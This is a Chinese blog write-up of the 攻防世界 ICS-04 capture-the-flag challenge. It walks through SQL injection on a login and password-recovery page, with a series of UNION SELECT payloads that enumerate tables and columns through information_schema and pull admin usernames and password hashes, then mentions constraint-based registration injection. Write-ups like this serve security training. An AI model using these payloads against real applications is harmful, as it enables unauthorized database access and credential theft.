攻防世界ICS-04 writeup

10 篇文章 0 订阅
9 篇文章 1 订阅

工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag。

1.根据提示先去登录注册页面,注册一个账号,尝试登录后提示普通用户登录也没用,估计我们需要登录管理员账号。

2.因为我注册了root和admin两个账号,都可以顺利注册且是普通用户,所以推测管理员账号应该不是想让我们通过这么简单的方式猜出来。接着去密码找回页面寻找突破口,输入我们之前注册的账号admin,果然有bug……找回密码竟然还需要输入原始密码,我吐了。

3.尝试寻找一下注入点,最终发现用户名处存在注入,并且第三列为输出点。

admin' union select 1,2,3,4 limit 1,1#

4.接着进行进一步查询,过程中发现database()函数被禁用,于是构造如下SQL查询tablename

admin' union select 1,2,group_concat(table_name),4 from information_schema.tables where TABLE_SCHEMA!='information_schema'  limit 1,1#

 

5.查询user表列名

admin' union select 1,2,group_concat(column_name),4 from information_schema.columns where TABLE_NAME=0x75736572  limit 1,1#

6.查询一下管理员账号,无回显,判断可能user表不在当前数据库中

admin' union select 1,2,group_concat(username),4 from user  limit 1,1#

7.查询一下user表所在的数据库,可以看到user存在于cetc004数据库中

admin' union select 1,2,group_concat(table_schema),4 from information_schema.tables where table_name=0x75736572 limit 1,1#

8.查询管理员账号密码,这样就拿到了管理员账号,但是密码经过了哈希。

admin' union select 1,2,group_concat(username),4 from cetc004.user  limit 1,1#
admin' union select 1,2,group_concat(password),4 from cetc004.user  limit 1,1#

9.抱着侥幸心态试一下基于约束的注册注入,竟然成功了。。。

 

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值